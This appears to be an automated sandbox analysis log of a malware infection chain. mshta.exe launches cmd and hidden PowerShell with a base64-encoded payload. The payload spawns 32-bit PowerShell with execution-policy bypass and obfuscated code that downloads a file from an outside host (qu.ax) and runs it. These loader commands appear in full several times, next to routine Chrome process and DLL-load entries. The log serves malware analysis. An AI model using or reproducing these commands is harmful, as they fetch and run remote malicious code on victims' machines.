Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like'tomd'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like'ome'}).Name).Invoke('N-O',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like'nlg'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1940,i,6344589457771235264,13748458223402876803,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like'tomd'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like'ome'}).Name).Invoke('N-O',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like'nlg'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
